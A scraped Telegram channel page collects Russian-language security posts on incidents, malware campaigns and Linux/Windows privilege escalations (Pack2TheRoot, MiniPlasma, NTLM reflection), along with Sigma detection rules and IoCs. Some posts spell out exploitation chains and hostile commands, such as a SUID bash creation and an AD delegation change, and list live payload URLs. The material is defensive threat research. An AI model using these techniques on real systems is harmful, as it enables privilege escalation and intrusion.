متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
purple shift
الذهاب إلى القناة على Telegram
Фиолетовый сдвиг - для тех, у кого происходят инциденты. Наш сайт: https://purpleshift.io
إظهار المزيد2 865
المشتركون
+124 ساعات
+137 أيام
+5630 أيام
جاري تحميل البيانات...
القنوات المماثلة
سحابة العلامات
الإشارات الواردة والصادرة
---
---
---
---
---
---
جذب المشتركين
يوليو '26
يوليو '26
+4
في 1 قنوات
يونيو '26
+81
في 3 قنوات
Get PRO
مايو '26
+91
في 2 قنوات
Get PRO
أبريل '26
+136
في 5 قنوات
Get PRO
مارس '26
+82
في 5 قنوات
Get PRO
فبراير '26
+90
في 2 قنوات
Get PRO
يناير '26
+48
في 2 قنوات
Get PRO
ديسمبر '25
+164
في 3 قنوات
Get PRO
نوفمبر '25
+71
في 1 قنوات
Get PRO
أكتوبر '25
+76
في 3 قنوات
Get PRO
سبتمبر '25
+150
في 6 قنوات
Get PRO
أغسطس '25
+80
في 0 قنوات
Get PRO
يوليو '25
+94
في 2 قنوات
Get PRO
يونيو '25
+71
في 1 قنوات
Get PRO
مايو '25
+84
في 2 قنوات
Get PRO
أبريل '25
+50
في 0 قنوات
Get PRO
مارس '25
+45
في 2 قنوات
Get PRO
فبراير '25
+79
في 1 قنوات
Get PRO
يناير '25
+50
في 1 قنوات
Get PRO
ديسمبر '24
+113
في 4 قنوات
Get PRO
نوفمبر '24
+115
في 2 قنوات
Get PRO
أكتوبر '24
+139
في 3 قنوات
Get PRO
سبتمبر '24
+226
في 4 قنوات
Get PRO
أغسطس '24
+206
في 6 قنوات
Get PRO
يوليو '24
+65
في 2 قنوات
Get PRO
يونيو '24
+82
في 2 قنوات
Get PRO
مايو '24
+686
في 4 قنوات
Get PRO
أبريل '240
في 4 قنوات
Get PRO
مارس '24
+98
في 2 قنوات
| التاريخ | نمو المشتركين | الإشارات | القنوات | |
| 02 يوليو | +1 | |||
| 01 يوليو | +3 |
منشورات القناة
Искусственный интеллект проникает повсеместно, поэтому в ближайшие годы LLM-агенты будут всё чаще упоминаться как "активные участники" в различных отчётах об инцидентах.
Такой пример есть и в опубликованном сегодня отчёте экспертов нашего сервиса по поиску компрометации (Compromise Assessment). Отчёт посвящен инцидентам, которые оставались незамеченными на протяжении нескольких недель, месяцев и даже лет, и были выявлены только в 2025 году после обращений в этот сервис.
Одна из популярных причин таких пропущенных инцидентов (24% случаев) — отсутствие продуманных и задокументированных политик безопасности и правил обработки данных. Это происходит в том числе и при разработке ПО с помощью генеративного ИИ.
В ходе одного из проектов была найдена рабочая станция на базе macOS, где ассистент Claude Code с интерфейсом командной строки использовался как расширение VS Code. Инструмент автоматически делал снапшоты файловой системы для обогащения промптов языковой модели. Командная строка родительского процесса выглядела так:
/bin/zsh -c -l source /Users/[СКРЫТО]/.claude/shell-snapshots/snapshot-zsh-[СКРЫТО].sh && eval 'ls -lh "/Users/[СКРЫТО]/Documents/[СКРЫТО]/"*.xlsx' \\< /dev/null && pwd -P >| /var/folders/[СКРЫТО]/claude-[СКРЫТО]ls -lh /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx .. [СКРЫТО]| 2 |  В одном из инцидентов у клиента нашего сервиса MDR мы обнаружили, что инструмент удаленного доступа ScreenConnect использовался для установки и запуска вредоносного модуля AsyncRAT. Более детальное расследование выявило масштабную инфраструктуру для распространения скрытого установщика этого ПО с целью массовой кражи учетных данных.
На поддельных веб‑ресурсах, которые с помощью поисковой оптимизации выводятся в первые строки выдачи поисковиков, распространяются архивы‑установщики, замаскированные под популярные программы — OBS Studio, DNS Jumper, DS4Windows, Bandicam, Glary Utilities, Process Hacker, Crosshair X и др. Всего обнаружено более 90 таких сайтов на 10 языках (см. пример на скриншоте выше).
Внутри архива содержится подписанный Microsoft легитимный файл install.exe, переименованный под установщик популярного софта (например, OBS Studio), а также вредоносная библиотека install.res.1033.dll. Эта библиотека загружается на устройство при помощи техники DLL Sideloading и разворачивает сервис ScreenConnect, ожидающий дальнейших инструкций от злоумышленников. Во многих корпоративных сетях подобные инструменты удаленного доступа находятся в списке разрешенного ПО и обладают повышенными привилегиями, что очень помогает атакующим.
Как ловить атаку:
1. Отслеживайте создание сервиса ScreenConnect с подозрительными параметрами:
logsource:
product: windows
category: security
detection:
selection_access:
EventID: 4697
Service File Name|contains:
- 'e=Access'
- 'ClientService.exe'
selection_support:
EventID: 4697
Service File Name|contains:
- 'e=Support'
- 'ClientService.exe'
condition: selection_access or selection_support
2. Отслеживайте запуск нетипичных дочерних процессов от сервиса ScreenConnect:
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith:
- '\\ScreenConnect.ClientService.exe'
- '\\ScreenConnect.WindowsClient.exe'
- '\\ScreenConnect.WindowsBackstageShell.exe'
- '\\ScreenConnect.WindowsFileManager.exe'
Image|endswith:
- '\\powershell.exe'
- '\\cmd.exe'
- '\\net.exe'
- '\\schtasks.exe'
- '\\sc.exe'
- '\\msiexec.exe'
- '\\mshta.exe'
- '\\rundll32.exe'
condition: selection
В качестве общих профилактических мер рекомендуется внедрить строгий контроль за установкой программ, отслеживать появление новых сервисов удаленного администрирования и соответствующих задач планировщика, проверять подлинность источников ПО и обучать пользователей не скачивать что попало.
Подробности расследования этой масштабной атаки, а также индикаторы компрометации и дополнительные советы по детектированию — в статье Дениса Кулика "ScreenConnect под маской бесплатных программ". | 669 |
| 3 |  Злоумышленники, атакующие Linux-системы, часто используют "бесфайловое" выполнение, чтобы избежать загрузки вредоносного ПО на диск. Это помогает обойти традиционные системы детектирования и механизмы безопасности, а также оставляет значительно меньше следов для форензики.
Системный вызов memfd_create() играет важную роль в таких атаках. Этот механизм, появившийся в ядре Linux 3.17, предназначен для создания анонимных файлов, которые существуют только в оперативной памяти. Согласно руководству memfd_create(2), эти файлы ведут себя как обычные файлы — у них есть размер и отображение в памяти, их можно изменять — но они не сохраняются на физическом носителе. Вызов memfd_create() возвращает файловый дескриптор, который может быть использован вызовом fexecve(3) — это позволяет процессу выполнять бинарный файл через файловый дескриптор (FD), в отличие от вызова execve(2), где в качестве аргумента требуется путь в реальной файловой системе.
Типичная цепочка эксплуатации этого механизма состоит из трёх этапов:
1. Загрузчик вызывает memfd_create(name, flags), этот вызов возвращает файловый дескриптор. Имя (name) здесь нужно только для отладки, оно не появляется в дереве каталогов.
2. Загрузчик записывает вредоносную нагрузку (часто полученную по сети) в этот FD.
3. Загрузчик вызывает fexecve(fd, argv, envp). Ядро заменяет текущий образ процесса бинарным файлом, хранящимся в анонимном сегменте памяти.
Такой подход гарантирует, что вредоносная нагрузка не попадает на диск, и таким образом она обходит:
— системы детектирования на основе сигнатур, которые сканируют диск;
— запрет на выполнение: во многих системах каталоги с правами на запись для всех (такие, как /tmp или /dev/shm) монтируют с флагом noexec, поскольку такие каталоги часто используются злоумышленниками для выполнения вредоносного ПО.
Пример атаки:
Рассмотрим каталог, который смонтирован с флагом noexec. Попытка выполнить бинарный файл id из этой точки монтирования не сработает, даже если он запускается с высшими привилегиями и сам бинарный файл является исполняемым (см. верхний скриншот).
Это ограничение можно обойти, если бинарный файл загружен в оперативную память и выполнен напрямую из памяти. Для демонстрации мы создали веб-сервер, который хостит бинарный файл id (он может быть вредоносным в реальных атаках), и написали простой скрипт на Python, который скачивает этот бинарный файл, загружает его в память и выполняет его в памяти, обходя все защиты.
Результат можно увидеть на скриншоте (нижняя часть). Обратите внимание, что системный вызов 319 — это и есть memfd_create().
Детектирование:
Хотя файла нет на диске, ядро Linux показывает метаданные о запущенных процессах. Нужно смотреть:
— Пути в файловой системе /proc. Даже анонимные файлы отслеживаются в таких метаданных. /proc/[PID]/exe обычно указывает на путь бинарного файла, такой как /usr/bin/python3. Процесс memfd будет указывать на виртуальный путь, часто помеченный как memfd: (deleted).
— Карты памяти (memory maps). Анализ /proc/[PID]/maps или smaps показывает следы атаки. Ищите сегменты памяти с правами на выполнение (r-xp), которые сопоставлены с объектом memfd, а не с общедоступной библиотекой или известным бинарным файлом на диске. | 879 |
| 4 |  В конце 2024 года мы опубликовали топ-5 самых популярных ошибок при реагировании на инциденты. Третьим номером там стояло «поспешное восстановление из бэкапов» — если резервная копия была заражена, при восстановлении вы рискуете повторить инцидент (например, вас снова зашифруют).
Теперь у нас есть некоторые цифры, чтобы подтвердить популярность этой ошибки — поскольку эксперты нашего сервиса по оценке компрометации (Compromise Assessment) подготовили аналитический отчёт о пропущенных инцидентах, которые выявлены в 2025 году после обращений в этот сервис.
Одна из самых частых угроз, найденных таким способом — это скрытые веб-шеллы: они встречались в 8% проектов по оценке компрометации. При этом 64% инцидентов с веб-шеллами были отнесены к категории высокой критичности.
А закрепление веб-шеллов в системе часто происходит через бэкапы: согласно отчёту, 60% веб-шеллов было обнаружено в активных системах, а 40% находились в резервных копиях и оставались незамеченными до проведения полноценной проверки. Понятно, к чему может привести восстановление таких копий.
Распространенная проблема, помогающая скрывать угрозу — недочеты в инвентаризации активов (найдено в 25% проектов). Злоумышленники могут внедрять веб-шеллы на облачные серверы, которые не отражаются в инвентарных списках, но при этом с них регулярно делаются резервные копии. Веб-шелл может длительное время оставаться на таком сервере, и даже если он будет в какой-то момент удален, сервер резервного копирования позднее восстановит зараженные файлы.
В одном случае веб-шелл был скрыт на внутреннем файловом сервере внутри RAR-архива по следующему пути:
D:\backup\[СКРЫТО].rar/wwwroot/<…>/[СКРЫТО].aspx
В ходе расследования админы сервера сообщили, что папка была скопирована с другого сервера, который был отключен на момент проведения проверки. Из-за неполной инвентаризации активов штатная команда безопасности не обнаружила заражение отключенной машины, а после выполнения процедур резервного копирования веб-шелл оказался на внутреннем файловом сервере.
Криминалистический анализ отключенного сервера показал, что злоумышленникам удалось внедрить бэкдор на большинстве Windows-серверов в этой организации, настроив на них учетные записи локального администратора с одинаковым паролем. С помощью утилиты PsExec злоумышленники выполнили CMD-скрипт, который на всех этих серверах изменял пароль учетной записи локального админа на свой (см. скриншот выше).
Другие примеры незаметных инцидентов, а также рекомендации по их выявлению и предотвращению, будут представлены на вебинаре Missed Incidents: Compromise Assessment Insights, который проведут наши эксперты Виктор Сергеев и Амжед Ваги 2 июля в 17 часов МСК на платформе Brighttalk:
https://www.brighttalk.com/webcast/15591/669960 | 1 241 |
| 5 |  Сегодня снова поговорим про атаку NTLM Reflection на основе уязвимости CVE-2025-33073, которая позволяет удалённому пользователю без авторизации выполнять на атакованной машине любые команды с привилегиями SYSTEM. Однажды мы уже рассказывали, как детектировать подобные атаки. А теперь покажем, как можно использовать один частный случай такой атаки в пентестах.
Обычно все Relay-атаки связаны только с хостами и сервисами в домене Active Directory. Ведь если хост не в домене, то у него нет учетных данных, а пользователи — локальные. При попытке coerce-атаки в Responder мы не увидим ничего, а в ntlmrelayx.py — сообщение вроде:
Authenticating against smb://172.16.128.143 as / FAILED
Но ситуация на одном недавнем проекте по анализу защищённости подтолкнула нас к мысли, что NTLM Reflection может быть способом скомпрометировать недоменный Windows-хост при определенных условиях:
1. Не установлен патч, закрывающий эту уязвимость.
2. Не требуется обязательная подпись SMB.
3. Есть возможность добавить или заспуфить необходимую для атаки DNS-запись (например, localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA). Зачастую в качестве DNS-серверов во всей инфраструктуре используются контроллеры домена. По умолчанию, имея любую учетную запись, можно добавить нужную A-запись. Если же хост атакующего находится в одном L2-сегменте сети с уязвимым хостом, то можно попробовать LLMNR/NBNS/mDNS spoofing (как на скриншоте выше), атаку на IPv6 с подменой DNS.
4. Возможность стригерить аутентификацию от имени системы. Например, есть анонимный PetitPotam или есть непривилегированная учетная запись.
Хоть условий и много, они выполнимы — и в этом случае NTLM Reflection может помочь получить доступ к хосту вне домена. | 1 406 |
| 6 | Наши эксперты заметили, что с начала 2026 года группировка VasyGrek (Fluffy Wolf) расширила географию своих жертв — теперь она атакует не только российские организации. Обновился и арсенал: в новых атаках засветились .vbs-дроппер и .com-стилер, написанный на Rust.
Атака VasyGrek обычно начинается с письма, содержащего вредоносный файл либо ссылку. Дальше реализуется цепочка заражения в двух вариантах:
1) Обфусцированный .vbs/.bat-дроппер проверяет имя хоста, а затем скрытно запускает закодированный в Base64 вредоносный PowerShell-скрипт. Тот скачивает нагрузку с легитимных хостингов (pastefy.app, yaso.su, Supabase Storage), загружает .NET-сборку в память и внедряет её в доверенный системный процесс RegAsm.exe — без записи на диск.
2) Написанный на Rust .scr/.com-дроппер бэкдора PureRAT. При установке копирует себя в каталоги %APPDATA% либо %LOCALAPPDATA% и закрепляется в автозагрузке через реестр посредством модификации ветки HKCU\..\Run\ либо через планировщик задач (с использованием утилиты schtasks.exe либо командлета PowerShell Register-ScheduledTask). После закрепления бэкдор связывается с C2 для получения дальнейших инструкций (например, сбор конфиденциальных данных).
Как ловить атаку
Рекомендуем использовать индикаторы компрометации, которые перечислены ниже.
Архивы:
f681a2e311d2a0063a76c6af38082d01 doc_10022026_buh_1c.rar
f1298bcd8a7537be8c9a63a0df264b5c doc_23012026_1c_scan.rar
8130ad8c9b9c1022c7e966d4bde76b4f doc_03_02_2026_buh.rar
11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3fv.rar
1511effebb7df8a2e5b3a741b106b59a акт сверки.rar
96b685a02c9bdaac285db9fe2b53a2d6 akt_sverki_1c.rar
611522aec29be78d9dafa4b59bf05a20 doc_05032026.rar
.bat-дропперы:
ccff0d0751956a32a5a2fbf13d3aeca0 1C_Doc_kopiya_6rf56rwergsw3frefrsw3_PDF.bat
4af7f1f3cbbef1a1313077d336399245 akt_sverki_04022026_buh_5fegrf6dsfvsffwffs_pdf.bat
9c67e8b55cb0f31270201efdb253ca8f doc_28012026_buh_ff56fdfdf6dfdfd_pdf.bat
7b82065f2017d60e6bfc1f0ed17cd2f9 doc_23012026_skrinshot_1C.bat
f228557b220276a5970246192991b315 aktsverki_1c_buh_pdf.bat
.vbs-дропперы:
11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3f
.scr-дропперы на RUST:
c1d5a11476ccfeb6a6c2a8de41241d4c buh_1c_10022026_akt_sverki_ferr6rr66fe6efe6fef.scr
3d8fc69b17562108653a6d479cdc0278 doc_23012026_1c_scan.scr
d5732efd1103b6d3990a0bd865d7580d 17.03.2026_doc_pdf.scr
4d8e11ce449a8f51a7007da24f9c5eea doc_05032026_1C_buhrg56svr6v2r66sfsf3sf_PDF.scr
.com-дропперы на RUST:
c9e1f8b2d3e61bbda7d514a38f668c72 платежное поручение от 19.03.2026_pdf.com
48e6c3762469c0111a246c8d88b9b9b8 doc_buh_1C_akt_sverki_06032026_PDF.com
02baba775abf19be98776a86cb746eb2 doc_05032026_1C_akt_sverki_PDF.com
.com-стилер на RUST:
c0d909ecd9fdd83c14e4067654c42d8b akt_sverki_1c_buh_ef4ef6r6gege5gsfeergerge.com`
Domains:
supabase[.]co
modaaura[.]store
URLs:
pastefy[.]app/RoBl0TEe/raw
pastefy[.]app/3ocDEoXR/raw
pastefy[.]app/sLC7Jpkp/raw
yaso[.]su/raw/NNLwEwCU
modaaura[.]store/image.jpg?12711343
pixeldrain[.]com/api/file/Wm3ZnAJr
tzqfbgbyyatqtmhbqbzw.supabase[.]co/storage/v1/object/public/17032026/VC17032026upload.txt
wkhayejmdnobpaoaeim.supabase[.]co/storage/1/object/public/hfgfjjj/image.jpg?12711343
qruqdtwlkhwaztnfrkbq.supabase[.]co/storage/v1/object/public/26012026/stl26012026upload.txt
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?al=media&token=20664d8b-9f51-4fc0-8439-3cca14ea7fc4
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?alt=media&token=b9d8bf3e-b1eb-4c56-9434-d4af570d4a91
raw.githubusercontent[.]com/sergo20261/proxihost/refs/heads/main/stl28012026upload.txt
au72nuxzv2.ufs[.]sh/f/4LhV5B1sDCwIrgzpCwYKXE4gwWVSzU8Dck1rs5tJYqhnmpx6
raw.githubusercontent[.]com/novichkova0976/buhgalteriya/refs/heads/main/akt_sverki_06032026.rar | 3 235 |
| 7 | Техника подмены Network Provider DLL (T1556.008) используется злоумышленниками уже много лет, но до сих пор не потеряла актуальности. Совсем недавно, в мае этого года, команда Microsoft Incident Response опубликовала расследование инцидента, в котором атакующие применяли эту технику для кражи учётных данных; при этом использование легитимного ПО позволяло им долгое время оставаться незамеченными.
Суть атаки:
Network Provider DLL — это динамическая библиотека в Windows, которая позволяет ОС взаимодействовать с конкретными сетевыми протоколами. Она реализует набор функций (Network Provider API), которые использует Multiple Provider Router (MPR) для связи с разными сетями.
Компоненты данного типа автоматически загружаются при входе пользователя в систему и участвуют в процессах сетевой аутентификации, восстановления сетевых ресурсов и обработки учетных данных, что делает механизм привлекательным для persistence.
Злоумышленники могут зарегистрировать вредоносный Network Provider DLL, модифицировав ключ реестра:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
Параметр ProviderOrder не хранит путь к DLL и не содержит информацию о модуле — он представляет собой только список имён провайдеров, которые Windows должна инициализировать через механизм MPR. Например:
ProviderOrder = LanmanWorkstation,RDPNP,webclient,EvilProvider
В этом случае Windows будет воспринимать EvilProvider как нового провайдера и попытается найти его описание:
HKLM\SYSTEM\CurrentControlSet\Services\EvilProvider\NetworkProvider
Из данного раздела система получает путь к библиотеке через параметр ProviderPath. Например:
ProviderPath = C:\ProgramData\evilprov.dll
После регистрации Windows начинает обращаться к этой DLL как к обычному провайдеру и автоматически загружает эту библиотеку при входе пользователя. При этом Windows не проверяет, является ли провайдер системным: механизм загружает все компоненты, перечисленные в ProviderOrder.
Как ловить атаку:
Детектируем изменения в ProviderOrder или создание ProviderPath для любого Network Provider, кроме штатных (LanmanWorkstation, RDPNP, webclient). Пример правила детектирования:
logsource:
product: windows
category: registry_event
detection:
Selection_order:
TargetObject|contains:
- '\Control\NetworkProvider\Order\ProviderOrder'
selection_provider:
TargetObject|contains:
- '\Services\'
- '\NetworkProvider'
- '\ProviderPath'
filter_main_system:
Details|contains:
- 'LanmanWorkstation'
- 'RDPNP'
- 'webclient'
condition: (selection_order or selection_provider) and not filter_main_system | 1 451 |
| 8 |  Pack2TheRoot (CVE-2026-41651) — локальное повышение привилегий в Linux-системах через TOCTOU-уязвимость в сервисе PackageKit. Этот сервис предоставляет унифицированный интерфейс для установки и удаления пакетов через D-Bus и выступает прослойкой между пользовательскими приложениями и пакетным менеджером дистрибутива (APT, RPM и др.). Все операции выполняются привилегированным сервисом packagekitd от имени root.
Для взаимодействия с PackageKit эксплойт использует D-Bus API библиотеки GLib, в частности метод InstallFiles(), предназначенный для установки локальных deb/rpm-пакетов. Метод принимает набор флагов транзакции, определяющих её поведение. Часть флагов считается безопасной и может использоваться без полноценной авторизации. Например, флаг simulate выполняет только проверку зависимостей и не приводит к фактической установке ПО.
Уязвимость связана с обработкой уже созданной транзакции. После первоначальной проверки безопасности PackageKit помечает транзакцию как безопасную, однако при последующем изменении её параметров повторная проверка не выполняется. Это создаёт TOCTOU condition: транзакция, созданная с флагом simulate, может быть изменена на полноценную установку пакета с флагом none, при этом PackageKit считает авторизацию уже пройденной.
PoC создаёт два локальных пакета: dummy-пакет и payload-пакет. Первый используется для прохождения проверки безопасности в режиме simulate. Второй содержит postinst payload, выполняемый в контексте packagekitd. В опубликованном PoC используется команда
install -m 4755 /bin/bash /tmp/.suid_bash
которая создаёт SUID-копию bash. После этого атакующий может получить root-доступ через запуск bash с аргументом -p.
Для эксплутации необходимо создать две транзакции через g_dbus_connection_call(). Первая вызывает InstallFiles() для dummy-пакета с флагом simulate (g_variant_new("(u^as)", 4, ...)). Вторая сразу переиспользует тот же объект транзакции, подменяя пакет на payload и устанавливая флаг полноценной установки (g_variant_new("(u^as)", 0, ...)). После вызова g_dbus_connection_flush_sync() обе операции попадают в очередь обработки почти одновременно.
В результате PackageKit выполняет установку второго пакета от имени root, несмотря на то, что авторизация была получена только для безопасной операции. Backend пакетного менеджера (dpkg/rpm) запускает postinst/preinst-скрипты payload-пакета с привилегиями root.
В Debian/Ubuntu это выглядит как:
/bin/sh /var/lib/dpkg/info/<package>.postinst configure
В RPM-системах:
/bin/sh /var/tmp/rpm-tmp.*
Постэксплуатация зависит от содержимого скрипта установки. Помимо создания SUID-shell могут использоваться: модификация /etc/shadow, добавление SSH-ключей, создание systemd unit-файлов, изменение PAM-конфигурации и другие механизмы закрепления.
Как защищаться:
Если нет возможности обновить PackageKit до пропатченной версии, детектируйте атаку по обращениям к PackageKit/GLib API или по цепочке процессов пакетного менеджера.
Для Debian-based систем индикатором может быть запуск postinst/preinst-скриптов из /var/lib/dpkg/info/ с последующим вызовом chmod или install, выставляющими SUID/SGID-биты.
Для RPM-based систем аналогичным индикатором является запуск временных скриптов /var/tmp/rpm-tmp.*.
Также полезно отслеживать инициаторов обращений к dpkg/rpm. Подозрительной может быть активность процессов dpkg-deb и rpmbuild, запущенных не через стандартные средства управления пакетами (apt, apt-get, dpkg, rpm, dnf, yum, zypper, mock, koji).
Дополнительным IoC могут выступать журнальные записи PackageKit о неуспешной аутентификации, возникающие в процессе эксплуатации уязвимости:
May 23 13:00:00 hostname PackageKit[PID]: uid 1000 is trying to obtain org.freedesktop.packagekit.package-install-untrusted auth (only_trusted:0)
May 23 13:00:01 hostname PackageKit[PID]: uid 1000 failed to obtain auth | 1 762 |
| 9 |  Одна из главных тем в ИБ-новостях последних дней — противостояние корпорации Microsoft и анонимного исследователя Nightmare Eclipse, который за два месяца опубликовал уже шесть серьёзных эксплойтов для Windows. Самый неприятный из них — MiniPlasma — с апреля используется в реальных атаках. Официального патча пока нет.
Как это работает:
Эксплоит основан на CVE-2020-17103 — уязвимости локального повышения привилегий в драйвере Windows Cloud Files Mini Filter Driver (cldflt.sys). Уязвимость была обнаружена ещё в 2020 году, и считалась уже закрытой. Однако Nightmare Eclipse показал, что она работает до сих пор, позволяя локальному пользователю поднять права до SYSTEM.
cldflt.sys — это системный драйвер, который реализует Cloud Files API (CFAPI) и используется для работы placeholder-файлов и механизмов синхронизации, включая OneDrive Files On-Demand.
Для взаимодействия с драйвером эксплойт использует недокументированный API CfAbortHydration, предназначенный для прерывания проверки облачного файла. Этот API, в свою очередь, вызывает внутреннюю функцию драйвера cldflt!HsmOsBlockPlaceholderAccess, которая по своей логике должна блокировать доступ к облачному файлу путём создания соответствующего служебного ключа в реестре.
Функция HsmOsBlockPlaceholderAccess выполняется в контексте привилегированного драйвера, но не проверяет, имеет ли вызывающий процесс права на запись в целевую ветку реестра. В результате эксплойт получает возможность создать произвольный ключ реестра в системной области HKEY_USERS\.DEFAULT, куда обычный пользователь не имеет доступа на запись.
MiniPlasma создаёт в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps не обычный ключ, а символическую ссылку (registry symbolic link). Эта ссылка перенаправляет на другую область реестра — \Registry\User\.DEFAULT\Volatile Environment, которая содержит временные переменные окружения для системного профиля.
Через созданную символическую ссылку эксплойт изменяет значение переменной windir в Volatile Environment с C:\Windows на путь, контролируемый атакующим, например C:\Users\Public\FakeSystem (текущая директория + system32\wermgr.exe). В указанную атакующим директорию предварительно помещается поддельный исполняемый файл wermgr.exe.
Далее эксплойт обращается к планировщику задач Windows и активирует встроенную задачу \Microsoft\Windows\Windows Error Reporting\QueueReporting. Эта задача настроена на запуск с правами SYSTEM и по умолчанию выполняет команду %windir%\system32\wermgr.exe.
Благодаря ранее изменённой переменной windir система подставляет подконтрольный атакующему путь, и вместо легитимного системного файла запускается поддельный wermgr.exe — но уже с привилегиями NT AUTHORITY\SYSTEM (см. скриншот выше).
Как детектировать атаку:
1. Отслеживайте создание SymbolLinks в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: 'Policies\Microsoft\CloudFiles\BlockedApps'
Details: 'SymbolicLinkValue'
condition: selection
2. Отслеживайте появление wermgr.exe вне стандартных путей:
category: process_creation
product: windows
detection:
selection:
TargetFilename|endswith: '\wermgr.exe'
filter_system_locations:
TargetFilename|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
- 'C:\Windows\WinSxS\'
- 'C:\Windows\servicing\'
- 'C:\$WINDOWS.~BT\'
- 'C:\Windows\SoftwareDistribution\'
condition: selection and not filter_system_locations
3. Отслеживайте запуск системных бинарников или их имитаций из нестандартных директорий. | 2 110 |
| 10 |  На днях наши эксперты поучаствовали в одной скромной, зато очень неформальной ИБ-конференции под названием ЁPRSTCON.
Основной темой выступлений технического трека стали проблемы информационной безопасности в эпоху всеобщего помешательства на AI. Но были доклады и на другие интересные темы. Например, о том,
— почему до сих пор можно делать RCE через умерший IE,
— откуда в RDP-логах мистический артефакт ::%16777216,
— зачем нужно писать собственный сканер уязвимостей,
— как устроены хакерские сообщества в разных странах,
— как реверсить микроконтроллеры AVR.
Поддерживая дух этой неформальной тусовки, мы не будем назвать имена крутых докладчиков и их компании, а просто дадим вам главную ссылку — где можно посмотреть видеозаписи всех технических докладов, с текстовыми транскриптами и слайдами:
https://www.yoprstcon.ru/articles_manual_locB_html/
А ещё на конференции был гуманитарный трек — там рассказывали, как искусственный интеллект вытесняет музыкантов и писателей, какие психозы возникают от долгого общения с LLM-агентами, и каким методам родительской заботы можно поучиться у африканских лягушек. Записи гуманитарных докладов здесь:
https://www.yoprstcon.ru/articles_manual_locA_html/ | 2 257 |
| 11 | Microsoft Configuration Manager (SCCM) — это не просто инструмент установки обновлений. Это платформа управления информационной инфраструктурой предприятия в самом широком смысле: здесь и хранилище учётных данных, и возможность централизованного исполнения кода на тысячах устройств одновременно.
Поэтому, будучи взят под контроль злоумышленниками, SCCM превращается в настоящий C2 для дальнейших атак на инфраструктуру. При этом повышение привилегий на SCCM зачастую не ловится традиционным средствами защиты от вредоносного ПО.
Например, логическая уязвимость CVE-2025-47179 позволяет получить полный контроль над SCCM, не используя переполнения буфера, инъекции или обхода аутентификации. SCCM в этом случае работает строго по правилам, которые в него заложили. Просто задокументированное назначение роли и её фактические полномочия противоречат друг другу.
Наши эксперты предлагают выявлять такие атаки с помощью инструмента SCCMInfo, который реализует мониторинг SCCM-сервера через подписку на события WMI. В частности, при эксплуатации уязвимости CVE-2025-47179 инструмент покажет такие события, как создание неизвестным пользователем с ограниченной ролью (CMPivot Administrator) новой записи об административном пользователе и назначение ему роли Full Administrator.
Утилита SCCMInfo отслеживает и несколько других классов WMI-событий, которые могут быть признаками атаки, хотя выглядят как легитимное действие в рамках штатной работы SCCM — поэтому такие атаки не детектируются традиционными средствами защиты.
Подробности — в статье Александра Родченко и Глеба Иванова "Ролевые игры: когда SCCM превращается в С2". | 1 944 |
| 12 | Сегодня расскажем ещё одну поучительную историю из практики наших пентестов.
Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт.
Условия задачи:
— Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста.
— Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты).
— Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная.
— Есть возможность подключения по SSH на linux-хост (без root-а).
— Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше.
Варианты решения:
1. Запустить агента Mythic
— c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied.
— загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение.
2. Получить сертификат
— выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа.
— запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа.
3. Unconstrained delegation
Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали.
4. Прочитать пароль LAPS
Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены.
5. Релеи
Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было.
6. Сохранить учетные данные из реестра
С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой.
7. Resource-based Constrained Delegation
Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:
Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$
И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех.
8. Rubeus и т.п.
